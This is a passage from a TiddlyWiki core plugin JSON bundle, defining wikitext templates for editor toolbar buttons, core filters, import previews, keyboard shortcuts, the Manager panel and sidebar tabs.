"text": "\\define toolbar-button-stamp-inner()\n<$button tag=\"a\">\n\n<$list filter=\"[[$(snippetTitle)$]addsuffix[/prefix]is[missing]removesuffix[/prefix]addsuffix[/suffix]is[missing]]\">\n\n<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"replace-selection\"\n\ttext={{$(snippetTitle)$}}\n/>\n\n</$list>\n\n\n<$list filter=\"[[$(snippetTitle)$]addsuffix[/prefix]is[missing]removesuffix[/prefix]addsuffix[/suffix]!is[missing]] [[$(snippetTitle)$]addsuffix[/prefix]!is[missing]removesuffix[/prefix]addsuffix[/suffix]is[missing]] [[$(snippetTitle)$]addsuffix[/prefix]!is[missing]removesuffix[/prefix]addsuffix[/suffix]!is[missing]]\">\n\n<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix={{{ [[$(snippetTitle)$]addsuffix[/prefix]get[text]] }}}\nsuffix={{{ [[$(snippetTitle)$]addsuffix[/suffix]get[text]] }}}\n/>\n\n</$list>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<$transclude tiddler=<<snippetTitle>> field=\"caption\" mode=\"inline\">\n\n<$view tiddler=<<snippetTitle>> field=\"title\" />\n\n</$transclude>\n\n</$button>\n\\end\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TextEditor/Snippet]!has[draft.of]sort[caption]]\" variable=\"snippetTitle\">\n\n<<toolbar-button-stamp-inner>>\n\n</$list>\n\n----\n\n<$button tag=\"a\">\n\n<$action-sendmessage\n\t$message=\"tm-new-tiddler\"\n\ttags=\"$:/tags/TextEditor/Snippet\"\n\tcaption={{$:/language/Buttons/Stamp/New/Title}}\n\ttext={{$:/language/Buttons/Stamp/New/Text}}\n/>\n\n<$action-deletetiddler\n\t$tiddler=<<dropdown-state>>\n/>\n\n<em>\n\n<$text text={{$:/language/Buttons/Stamp/Caption/New}}/>\n\n</em>\n\n</$button>\n"
},
"$:/core/ui/EditorToolbar/stamp": {
"title": "$:/core/ui/EditorToolbar/stamp",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/stamp",
"caption": "{{$:/language/Buttons/Stamp/Caption}}",
"description": "{{$:/language/Buttons/Stamp/Hint}}",
"condition": "[<targetTiddler>type[]] [<targetTiddler>get[type]prefix[text/]] +[first[]]",
"shortcuts": "((stamp))",
"dropdown": "$:/core/ui/EditorToolbar/stamp-dropdown",
"text": ""
},
"$:/core/ui/EditorToolbar/strikethrough": {
"title": "$:/core/ui/EditorToolbar/strikethrough",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/strikethrough",
"caption": "{{$:/language/Buttons/Strikethrough/Caption}}",
"description": "{{$:/language/Buttons/Strikethrough/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((strikethrough))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"~~\"\n\tsuffix=\"~~\"\n/>\n"
},
"$:/core/ui/EditorToolbar/subscript": {
"title": "$:/core/ui/EditorToolbar/subscript",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/subscript",
"caption": "{{$:/language/Buttons/Subscript/Caption}}",
"description": "{{$:/language/Buttons/Subscript/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((subscript))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\",,\"\n\tsuffix=\",,\"\n/>\n"
},
"$:/core/ui/EditorToolbar/superscript": {
"title": "$:/core/ui/EditorToolbar/superscript",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/superscript",
"caption": "{{$:/language/Buttons/Superscript/Caption}}",
"description": "{{$:/language/Buttons/Superscript/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((superscript))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"^^\"\n\tsuffix=\"^^\"\n/>\n"
},
"$:/core/ui/EditorToolbar/transcludify": {
"title": "$:/core/ui/EditorToolbar/transcludify",
"caption": "{{$:/language/Buttons/Transcludify/Caption}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"description": "{{$:/language/Buttons/Transcludify/Hint}}",
"icon": "$:/core/images/transcludify",
"list-before": "$:/core/ui/EditorToolbar/mono-block",
"shortcuts": "((transcludify))",
"tags": "$:/tags/EditorToolbar",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"{{\"\n\tsuffix=\"}}\"\n/>\n"
},
"$:/core/ui/EditorToolbar/underline": {
"title": "$:/core/ui/EditorToolbar/underline",
"tags": "$:/tags/EditorToolbar",
"icon": "$:/core/images/underline",
"caption": "{{$:/language/Buttons/Underline/Caption}}",
"description": "{{$:/language/Buttons/Underline/Hint}}",
"condition": "[<targetTiddler>!has[type]] [<targetTiddler>type[text/vnd.tiddlywiki]]",
"shortcuts": "((underline))",
"text": "<$action-sendmessage\n\t$message=\"tm-edit-text-operation\"\n\t$param=\"wrap-selection\"\n\tprefix=\"__\"\n\tsuffix=\"__\"\n/>\n"
},
"$:/core/Filters/AllTags": {
"title": "$:/core/Filters/AllTags",
"tags": "$:/tags/Filter",
"filter": "[tags[]!is[system]sort[title]]",
"description": "{{$:/language/Filters/AllTags}}",
"text": ""
},
"$:/core/Filters/AllTiddlers": {
"title": "$:/core/Filters/AllTiddlers",
"tags": "$:/tags/Filter",
"filter": "[!is[system]sort[title]]",
"description": "{{$:/language/Filters/AllTiddlers}}",
"text": ""
},
"$:/core/Filters/Drafts": {
"title": "$:/core/Filters/Drafts",
"tags": "$:/tags/Filter",
"filter": "[has[draft.of]sort[title]]",
"description": "{{$:/language/Filters/Drafts}}",
"text": ""
},
"$:/core/Filters/Missing": {
"title": "$:/core/Filters/Missing",
"tags": "$:/tags/Filter",
"filter": "[all[missing]sort[title]]",
"description": "{{$:/language/Filters/Missing}}",
"text": ""
},
"$:/core/Filters/Orphans": {
"title": "$:/core/Filters/Orphans",
"tags": "$:/tags/Filter",
"filter": "[all[orphans]sort[title]]",
"description": "{{$:/language/Filters/Orphans}}",
"text": ""
},
"$:/core/Filters/OverriddenShadowTiddlers": {
"title": "$:/core/Filters/OverriddenShadowTiddlers",
"tags": "$:/tags/Filter",
"filter": "[is[shadow]]",
"description": "{{$:/language/Filters/OverriddenShadowTiddlers}}",
"text": ""
},
"$:/core/Filters/RecentSystemTiddlers": {
"title": "$:/core/Filters/RecentSystemTiddlers",
"tags": "$:/tags/Filter",
"filter": "[has[modified]!sort[modified]limit[50]]",
"description": "{{$:/language/Filters/RecentSystemTiddlers}}",
"text": ""
},
"$:/core/Filters/RecentTiddlers": {
"title": "$:/core/Filters/RecentTiddlers",
"tags": "$:/tags/Filter",
"filter": "[!is[system]has[modified]!sort[modified]limit[50]]",
"description": "{{$:/language/Filters/RecentTiddlers}}",
"text": ""
},
"$:/core/Filters/SessionTiddlers": {
"title": "$:/core/Filters/SessionTiddlers",
"tags": "$:/tags/Filter",
"filter": "[haschanged[]]",
"description": "{{$:/language/Filters/SessionTiddlers}}",
"text": ""
},
"$:/core/Filters/ShadowTiddlers": {
"title": "$:/core/Filters/ShadowTiddlers",
"tags": "$:/tags/Filter",
"filter": "[all[shadows]sort[title]]",
"description": "{{$:/language/Filters/ShadowTiddlers}}",
"text": ""
},
"$:/core/Filters/StoryList": {
"title": "$:/core/Filters/StoryList",
"tags": "$:/tags/Filter",
"filter": "[list[$:/StoryList]] -$:/AdvancedSearch",
"description": "{{$:/language/Filters/StoryList}}",
"text": ""
},
"$:/core/Filters/SystemTags": {
"title": "$:/core/Filters/SystemTags",
"tags": "$:/tags/Filter",
"filter": "[all[shadows+tiddlers]tags[]is[system]sort[title]]",
"description": "{{$:/language/Filters/SystemTags}}",
"text": ""
},
"$:/core/Filters/SystemTiddlers": {
"title": "$:/core/Filters/SystemTiddlers",
"tags": "$:/tags/Filter",
"filter": "[is[system]sort[title]]",
"description": "{{$:/language/Filters/SystemTiddlers}}",
"text": ""
},
"$:/core/Filters/TypedTiddlers": {
"title": "$:/core/Filters/TypedTiddlers",
"tags": "$:/tags/Filter",
"filter": "[!is[system]has[type]each[type]sort[type]] -[type[text/vnd.tiddlywiki]]",
"description": "{{$:/language/Filters/TypedTiddlers}}",
"text": ""
},
"$:/core/ui/ImportListing": {
"title": "$:/core/ui/ImportListing",
"text": "\\define lingo-base() $:/language/Import/\n\n\\define messageField()\nmessage-$(payloadTiddler)$\n\\end\n\n\\define selectionField()\nselection-$(payloadTiddler)$\n\\end\n\n\\define previewPopupState()\n$(currentTiddler)$!!popup-$(payloadTiddler)$\n\\end\n\n\\define select-all-actions()\n<$list filter=\"[all[current]plugintiddlers[]sort[title]]\" variable=\"payloadTiddler\">\n<$action-setfield $field={{{ [<payloadTiddler>addprefix[selection-]] }}} $value={{$:/state/import/select-all}}/>\n</$list>\n\\end\n\n<table>\n<tbody>\n<tr>\n<th>\n<$checkbox tiddler=\"$:/state/import/select-all\" field=\"text\" checked=\"checked\" unchecked=\"unchecked\" default=\"checked\" actions=<<select-all-actions>>>\n<<lingo Listing/Select/Caption>>\n</$checkbox>\n</th>\n<th>\n<<lingo Listing/Title/Caption>>\n</th>\n<th>\n<<lingo Listing/Status/Caption>>\n</th>\n</tr>\n<$list filter=\"[all[current]plugintiddlers[]sort[title]]\" variable=\"payloadTiddler\">\n<tr>\n<td>\n<$checkbox field=<<selectionField>> checked=\"checked\" unchecked=\"unchecked\" default=\"checked\"/>\n</td>\n<td>\n<$reveal type=\"nomatch\" stateTitle=<<previewPopupState>> text=\"yes\" tag=\"div\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" setTitle=<<previewPopupState>> setTo=\"yes\">\n{{$:/core/images/right-arrow}} <$text text=<<payloadTiddler>>/>\n</$button>\n</$reveal>\n<$reveal type=\"match\" stateTitle=<<previewPopupState>> text=\"yes\" tag=\"div\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" setTitle=<<previewPopupState>> setTo=\"no\">\n{{$:/core/images/down-arrow}} <$text text=<<payloadTiddler>>/>\n</$button>\n</$reveal>\n</td>\n<td>\n<$view field=<<messageField>>/>\n</td>\n</tr>\n<tr>\n<td colspan=\"3\">\n<$reveal type=\"match\" text=\"yes\" stateTitle=<<previewPopupState>> tag=\"div\">\n<$list filter=\"[{$:/state/importpreviewtype}has[text]]\" variable=\"listItem\" emptyMessage={{$:/core/ui/ImportPreviews/Text}}>\n<$transclude tiddler={{$:/state/importpreviewtype}}/>\n</$list>\n</$reveal>\n</td>\n</tr>\n</$list>\n</tbody>\n</table>\n"
},
"$:/core/ui/ImportPreviews/Diff": {
"title": "$:/core/ui/ImportPreviews/Diff",
"tags": "$:/tags/ImportPreview",
"caption": "{{$:/language/Import/Listing/Preview/Diff}}",
"text": "<$macrocall $name=\"compareTiddlerText\" sourceTiddlerTitle=<<payloadTiddler>> destTiddlerTitle=<<currentTiddler>> destSubTiddlerTitle=<<payloadTiddler>>/>\n"
},
"$:/core/ui/ImportPreviews/DiffFields": {
"title": "$:/core/ui/ImportPreviews/DiffFields",
"tags": "$:/tags/ImportPreview",
"caption": "{{$:/language/Import/Listing/Preview/DiffFields}}",
"text": "<$macrocall $name=\"compareTiddlers\" sourceTiddlerTitle=<<payloadTiddler>> destTiddlerTitle=<<currentTiddler>> destSubTiddlerTitle=<<payloadTiddler>> exclude=\"text\"/>\n"
},
"$:/core/ui/ImportPreviews/Fields": {
"title": "$:/core/ui/ImportPreviews/Fields",
"tags": "$:/tags/ImportPreview",
"caption": "{{$:/language/Import/Listing/Preview/Fields}}",
"text": "<table class=\"tc-view-field-table\">\n<tbody>\n<$list filter=\"[<payloadTiddler>subtiddlerfields<currentTiddler>sort[]] -text\" variable=\"fieldName\">\n<tr class=\"tc-view-field\">\n<td class=\"tc-view-field-name\">\n<$text text=<<fieldName>>/>\n</td>\n<td class=\"tc-view-field-value\">\n<$view field=<<fieldName>> tiddler=<<currentTiddler>> subtiddler=<<payloadTiddler>>/>\n</td>\n</tr>\n</$list>\n</tbody>\n</table>\n"
},
"$:/core/ui/ImportPreviews/Text": {
"title": "$:/core/ui/ImportPreviews/Text",
"tags": "$:/tags/ImportPreview",
"caption": "{{$:/language/Import/Listing/Preview/Text}}",
"text": "<$transclude tiddler=<<currentTiddler>> subtiddler=<<payloadTiddler>> mode=\"block\"/>\n"
},
"$:/core/ui/ImportPreviews/TextRaw": {
"title": "$:/core/ui/ImportPreviews/TextRaw",
"tags": "$:/tags/ImportPreview",
"caption": "{{$:/language/Import/Listing/Preview/TextRaw}}",
"text": "<pre><code><$view tiddler=<<currentTiddler>> subtiddler=<<payloadTiddler>> /></code></pre>"
},
"$:/core/ui/KeyboardShortcuts/advanced-search": {
"title": "$:/core/ui/KeyboardShortcuts/advanced-search",
"tags": "$:/tags/KeyboardShortcut",
"key": "((advanced-search))",
"text": "<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\">\n<$action-navigate $to=\"$:/AdvancedSearch\"/>\n<$action-sendmessage $message=\"tm-focus-selector\" $param=\"\"\"[data-tiddler-title=\"$:/AdvancedSearch\"] .tc-search input\"\"\"/>\n</$navigator>\n"
},
"$:/core/ui/KeyboardShortcuts/new-image": {
"title": "$:/core/ui/KeyboardShortcuts/new-image",
"tags": "$:/tags/KeyboardShortcut",
"key": "((new-image))",
"text": "<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\" openLinkFromInsideRiver={{$:/config/Navigation/openLinkFromInsideRiver}} openLinkFromOutsideRiver={{$:/config/Navigation/openLinkFromOutsideRiver}} relinkOnRename={{$:/config/RelinkOnRename}}>\n{{$:/core/ui/Actions/new-image}}\n</$navigator>\n"
},
"$:/core/ui/KeyboardShortcuts/new-journal": {
"title": "$:/core/ui/KeyboardShortcuts/new-journal",
"tags": "$:/tags/KeyboardShortcut",
"key": "((new-journal))",
"text": "<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\" openLinkFromInsideRiver={{$:/config/Navigation/openLinkFromInsideRiver}} openLinkFromOutsideRiver={{$:/config/Navigation/openLinkFromOutsideRiver}} relinkOnRename={{$:/config/RelinkOnRename}}>\n{{$:/core/ui/Actions/new-journal}}\n</$navigator>\n"
},
"$:/core/ui/KeyboardShortcuts/new-tiddler": {
"title": "$:/core/ui/KeyboardShortcuts/new-tiddler",
"tags": "$:/tags/KeyboardShortcut",
"key": "((new-tiddler))",
"text": "<$navigator story=\"$:/StoryList\" history=\"$:/HistoryList\" openLinkFromInsideRiver={{$:/config/Navigation/openLinkFromInsideRiver}} openLinkFromOutsideRiver={{$:/config/Navigation/openLinkFromOutsideRiver}} relinkOnRename={{$:/config/RelinkOnRename}}>\n{{$:/core/ui/Actions/new-tiddler}}\n</$navigator>\n"
},
"$:/core/ui/KeyboardShortcuts/sidebar-search": {
"title": "$:/core/ui/KeyboardShortcuts/sidebar-search",
"tags": "$:/tags/KeyboardShortcut",
"key": "((sidebar-search))",
"text": "<$action-sendmessage $message=\"tm-focus-selector\" $param=\".tc-search input\"/>\n"
},
"$:/core/ui/KeyboardShortcut/toggle-sidebar": {
"title": "$:/core/ui/KeyboardShortcut/toggle-sidebar",
"tags": "$:/tags/KeyboardShortcut",
"key": "((toggle-sidebar))",
"text": "<$list filter=\"[[$:/state/sidebar]is[missing]] [{$:/state/sidebar}removeprefix[yes]]\" emptyMessage=\"\"\"\n<$action-setfield $tiddler=\"$:/state/sidebar\" text=\"yes\"/>\n\"\"\">\n<$action-setfield $tiddler=\"$:/state/sidebar\" text=\"no\"/>\n</$list>\n"
},
"$:/core/ui/ListItemTemplate": {
"title": "$:/core/ui/ListItemTemplate",
"text": "<div class=\"tc-menu-list-item\">\n<$link />\n</div>"
},
"$:/Manager/ItemMain/Fields": {
"title": "$:/Manager/ItemMain/Fields",
"tags": "$:/tags/Manager/ItemMain",
"caption": "{{$:/language/Manager/Item/Fields}}",
"text": "<table>\n<tbody>\n<$list filter=\"[all[current]fields[]sort[title]] -text\" template=\"$:/core/ui/TiddlerFieldTemplate\" variable=\"listItem\"/>\n</tbody>\n</table>\n"
},
"$:/Manager/ItemMain/RawText": {
"title": "$:/Manager/ItemMain/RawText",
"tags": "$:/tags/Manager/ItemMain",
"caption": "{{$:/language/Manager/Item/RawText}}",
"text": "<pre><code><$view/></code></pre>\n"
},
"$:/Manager/ItemMain/WikifiedText": {
"title": "$:/Manager/ItemMain/WikifiedText",
"tags": "$:/tags/Manager/ItemMain",
"caption": "{{$:/language/Manager/Item/WikifiedText}}",
"text": "<$transclude mode=\"block\"/>\n"
},
"$:/Manager/ItemSidebar/Colour": {
"title": "$:/Manager/ItemSidebar/Colour",
"tags": "$:/tags/Manager/ItemSidebar",
"caption": "{{$:/language/Manager/Item/Colour}}",
"text": "\\define swatch-styles()\nheight: 1em;\nbackground-color: $(colour)$\n\\end\n\n<$vars colour={{!!color}}>\n<p style=<<swatch-styles>>/>\n</$vars>\n<p>\n<$edit-text field=\"color\" tag=\"input\" type=\"color\"/> / <$edit-text field=\"color\" tag=\"input\" type=\"text\" size=\"9\"/>\n</p>\n"
},
"$:/Manager/ItemSidebar/Icon": {
"title": "$:/Manager/ItemSidebar/Icon",
"tags": "$:/tags/Manager/ItemSidebar",
"caption": "{{$:/language/Manager/Item/Icon}}",
"text": "<p>\n<div class=\"tc-manager-icon-editor\">\n<$button popup=<<qualify \"$:/state/popup/image-picker\">> class=\"tc-btn-invisible\">\n<$transclude tiddler={{!!icon}}>\n{{$:/language/Manager/Item/Icon/None}}\n</$transclude>\n</$button>\n<div class=\"tc-block-dropdown-wrapper\" style=\"position: static;\">\n<$reveal state=<<qualify \"$:/state/popup/image-picker\">> type=\"nomatch\" text=\"\" default=\"\" tag=\"div\" class=\"tc-popup\">\n<div class=\"tc-block-dropdown tc-popup-keep\" style=\"width: 80%; left: 10%; right: 10%; padding: 0.5em;\">\n<$macrocall $name=\"image-picker-include-tagged-images\" actions=\"\"\"\n<$action-setfield $field=\"icon\" $value=<<imageTitle>>/>\n<$action-deletetiddler $tiddler=<<qualify \"$:/state/popup/image-picker\">>/>\n\"\"\"/>\n</div>\n</$reveal>\n</div>\n</div>\n</p>\n"
},
"$:/Manager/ItemSidebar/Tags": {
"title": "$:/Manager/ItemSidebar/Tags",
"tags": "$:/tags/Manager/ItemSidebar",
"caption": "{{$:/language/Manager/Item/Tags}}",
"text": "\\define tag-checkbox-actions()\n<$action-listops\n\t$tiddler=\"$:/config/Manager/RecentTags\"\n\t$subfilter=\"[<tag>] [list[$:/config/Manager/RecentTags]] +[limit[12]]\"\n/>\n\\end\n\n\\define tag-picker-actions()\n<<tag-checkbox-actions>>\n<$action-listops\n\t$tiddler=<<currentTiddler>>\n\t$field=\"tags\"\n\t$subfilter=\"[<tag>] [all[current]tags[]]\"\n/>\n\\end\n\n<p>\n<$list filter=\"[all[current]tags[]] [list[$:/config/Manager/RecentTags]] +[sort[title]] \" variable=\"tag\">\n<div>\n<$checkbox tiddler=<<currentTiddler>> tag=<<tag>> actions=<<tag-checkbox-actions>>>\n<$macrocall $name=\"tag-pill\" tag=<<tag>>/>\n</$checkbox>\n</div>\n</$list>\n</p>\n<p>\n<$macrocall $name=\"tag-picker\" actions=<<tag-picker-actions>>/>\n</p>\n"
},
"$:/Manager/ItemSidebar/Tools": {
"title": "$:/Manager/ItemSidebar/Tools",
"tags": "$:/tags/Manager/ItemSidebar",
"caption": "{{$:/language/Manager/Item/Tools}}",
"text": "<p>\n<$button to=<<currentTiddler>>>{{$:/core/images/link}} open</$button>\n</p>\n<p>\n<$button message=\"tm-edit-tiddler\" param=<<currentTiddler>>>{{$:/core/images/edit-button}} edit</$button>\n</p>\n"
},
"$:/Manager": {
"title": "$:/Manager",
"icon": "$:/core/images/list",
"color": "#bbb",
"text": "\\define lingo-base() $:/language/Manager/\n\n\\define list-item-content-item()\n<div class=\"tc-manager-list-item-content-item\">\n\t<$vars state-title=\"\"\"$:/state/popup/manager/item/$(listItem)$\"\"\">\n\t\t<$reveal state=<<state-title>> type=\"match\" text=\"show\" default=\"show\" tag=\"div\">\n\t\t\t<$button set=<<state-title>> setTo=\"hide\" class=\"tc-btn-invisible tc-manager-list-item-content-item-heading\">\n\t\t\t\t{{$:/core/images/down-arrow}} <$transclude tiddler=<<listItem>> field=\"caption\"/>\n\t\t\t</$button>\n\t\t</$reveal>\n\t\t<$reveal state=<<state-title>> type=\"nomatch\" text=\"show\" default=\"show\" tag=\"div\">\n\t\t\t<$button set=<<state-title>> setTo=\"show\" class=\"tc-btn-invisible tc-manager-list-item-content-item-heading\">\n\t\t\t\t{{$:/core/images/right-arrow}} <$transclude tiddler=<<listItem>> field=\"caption\"/>\n\t\t\t</$button>\n\t\t</$reveal>\n\t\t<$reveal state=<<state-title>> type=\"match\" text=\"show\" default=\"show\" tag=\"div\" class=\"tc-manager-list-item-content-item-body\">\n\t\t\t<$transclude tiddler=<<listItem>>/>\n\t\t</$reveal>\n\t</$vars>\n</div>\n\\end\n\n<div class=\"tc-manager-wrapper\">\n\t<div class=\"tc-manager-controls\">\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<<lingo Controls/Show/Prompt>> <$select tiddler=\"$:/config/Manager/Show\" default=\"tiddlers\">\n\t\t\t\t<option value=\"tiddlers\"><<lingo Controls/Show/Option/Tiddlers>></option>\n\t\t\t\t<option value=\"tags\"><<lingo Controls/Show/Option/Tags>></option>\n\t\t\t</$select>\n\t\t</div>\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<<lingo Controls/Search/Prompt>> <$edit-text tiddler=\"$:/config/Manager/Filter\" tag=\"input\" default=\"\" placeholder={{$:/language/Manager/Controls/Search/Placeholder}}/>\n\t\t</div>\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<<lingo Controls/FilterByTag/Prompt>> <$select tiddler=\"$:/config/Manager/Tag\" default=\"\">\n\t\t\t\t<option value=\"\"><<lingo Controls/FilterByTag/None>></option>\n\t\t\t\t<$list filter=\"[!is{$:/config/Manager/System}tags[]!is[system]sort[title]]\" variable=\"tag\">\n\t\t\t\t\t<option value=<<tag>>><$text text=<<tag>>/></option>\n\t\t\t\t</$list>\n\t\t\t</$select>\n\t\t</div>\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<<lingo Controls/Sort/Prompt>> <$select tiddler=\"$:/config/Manager/Sort\" default=\"title\">\n\t\t\t\t<optgroup label=\"Common\">\n\t\t\t\t\t<$list filter=\"title modified modifier created creator created\" variable=\"field\">\n\t\t\t\t\t\t<option value=<<field>>><$text text=<<field>>/></option>\n\t\t\t\t\t</$list>\n\t\t\t\t</optgroup>\n\t\t\t\t<optgroup label=\"All\">\n\t\t\t\t\t<$list filter=\"[all{$:/config/Manager/Show}!is{$:/config/Manager/System}fields[]sort[title]] -title -modified -modifier -created -creator -created\" variable=\"field\">\n\t\t\t\t\t\t<option value=<<field>>><$text text=<<field>>/></option>\n\t\t\t\t\t</$list>\n\t\t\t\t</optgroup>\n\t\t\t</$select>\n\t\t\t<$checkbox tiddler=\"$:/config/Manager/Order\" field=\"text\" checked=\"reverse\" unchecked=\"forward\" default=\"forward\">\n\t\t\t\t<<lingo Controls/Order/Prompt>>\n\t\t\t</$checkbox>\n\t\t</div>\n\t\t<div class=\"tc-manager-control\">\n\t\t\t<$checkbox tiddler=\"$:/config/Manager/System\" field=\"text\" checked=\"\" unchecked=\"system\" default=\"system\">\n\t\t\t\t{{$:/language/SystemTiddlers/Include/Prompt}}\n\t\t\t</$checkbox>\n\t\t</div>\n\t</div>\n\t<div class=\"tc-manager-list\">\n\t\t<$list filter=\"[all{$:/config/Manager/Show}!is{$:/config/Manager/System}search{$:/config/Manager/Filter}tag:strict{$:/config/Manager/Tag}sort{$:/config/Manager/Sort}order{$:/config/Manager/Order}]\">\n\t\t\t<$vars transclusion=<<currentTiddler>>>\n\t\t\t\t<div style=\"tc-manager-list-item\">\n\t\t\t\t\t<$button popup=<<qualify \"$:/state/manager/popup\">> class=\"tc-btn-invisible tc-manager-list-item-heading\" selectedClass=\"tc-manager-list-item-heading-selected\">\n\t\t\t\t\t\t<$text text=<<currentTiddler>>/>\n\t\t\t\t\t</$button>\n\t\t\t\t\t<$reveal state=<<qualify \"$:/state/manager/popup\">> type=\"nomatch\" text=\"\" default=\"\" tag=\"div\" class=\"tc-manager-list-item-content tc-popup-handle\">\n\t\t\t\t\t\t<div class=\"tc-manager-list-item-content-tiddler\">\n\t\t\t\t\t\t\t<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Manager/ItemMain]!has[draft.of]]\" variable=\"listItem\">\n\t\t\t\t\t\t\t\t<<list-item-content-item>>\n\t\t\t\t\t\t\t</$list>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t\t<div class=\"tc-manager-list-item-content-sidebar\">\n\t\t\t\t\t\t\t<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/Manager/ItemSidebar]!has[draft.of]]\" variable=\"listItem\">\n\t\t\t\t\t\t\t\t<<list-item-content-item>>\n\t\t\t\t\t\t\t</$list>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</$reveal>\n\t\t\t\t</div>\n\t\t\t</$vars>\n\t\t</$list>\n\t</div>\n</div>\n"
},
"$:/core/ui/MissingTemplate": {
"title": "$:/core/ui/MissingTemplate",
"text": "<div class=\"tc-tiddler-missing\">\n<$button popup=<<qualify \"$:/state/popup/missing\">> class=\"tc-btn-invisible tc-missing-tiddler-label\">\n<$view field=\"title\" format=\"text\" />\n</$button>\n<$reveal state=<<qualify \"$:/state/popup/missing\">> type=\"popup\" position=\"below\" animate=\"yes\">\n<div class=\"tc-drop-down\">\n<$transclude tiddler=\"$:/core/ui/ListItemTemplate\"/>\n<hr>\n<$list filter=\"[all[current]backlinks[]sort[title]]\" template=\"$:/core/ui/ListItemTemplate\"/>\n</div>\n</$reveal>\n</div>\n"
},
"$:/core/ui/MoreSideBar/All": {
"title": "$:/core/ui/MoreSideBar/All",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/All/Caption}}",
"text": "<$list filter={{$:/core/Filters/AllTiddlers!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
},
"$:/core/ui/MoreSideBar/Drafts": {
"title": "$:/core/ui/MoreSideBar/Drafts",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/Drafts/Caption}}",
"text": "<$list filter={{$:/core/Filters/Drafts!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
},
"$:/core/ui/MoreSideBar/Explorer": {
"title": "$:/core/ui/MoreSideBar/Explorer",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/Explorer/Caption}}",
"text": "<<tree \"$:/\">>\n"
},
"$:/core/ui/MoreSideBar/Missing": {
"title": "$:/core/ui/MoreSideBar/Missing",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/Missing/Caption}}",
"text": "<$list filter={{$:/core/Filters/Missing!!filter}} template=\"$:/core/ui/MissingTemplate\"/>\n"
},
"$:/core/ui/MoreSideBar/Orphans": {
"title": "$:/core/ui/MoreSideBar/Orphans",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/Orphans/Caption}}",
"text": "<$list filter={{$:/core/Filters/Orphans!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
},
"$:/core/ui/MoreSideBar/Plugins": {
"title": "$:/core/ui/MoreSideBar/Plugins",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/ControlPanel/Plugins/Caption}}",
"text": "\n{{$:/language/ControlPanel/Plugins/Installed/Hint}}\n\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/MoreSideBar/Plugins]!has[draft.of]]\" \"$:/core/ui/MoreSideBar/Plugins/Plugins\">>\n"
},
"$:/core/ui/MoreSideBar/Recent": {
"title": "$:/core/ui/MoreSideBar/Recent",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/Recent/Caption}}",
"text": "<$macrocall $name=\"timeline\" format={{$:/language/RecentChanges/DateFormat}}/>\n"
},
"$:/core/ui/MoreSideBar/Shadows": {
"title": "$:/core/ui/MoreSideBar/Shadows",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/Shadows/Caption}}",
"text": "<$list filter={{$:/core/Filters/ShadowTiddlers!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
},
"$:/core/ui/MoreSideBar/System": {
"title": "$:/core/ui/MoreSideBar/System",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/System/Caption}}",
"text": "<$list filter={{$:/core/Filters/SystemTiddlers!!filter}} template=\"$:/core/ui/ListItemTemplate\"/>\n"
},
"$:/core/ui/MoreSideBar/Tags": {
"title": "$:/core/ui/MoreSideBar/Tags",
"tags": "$:/tags/MoreSideBar",
"caption": "{{$:/language/SideBar/Tags/Caption}}",
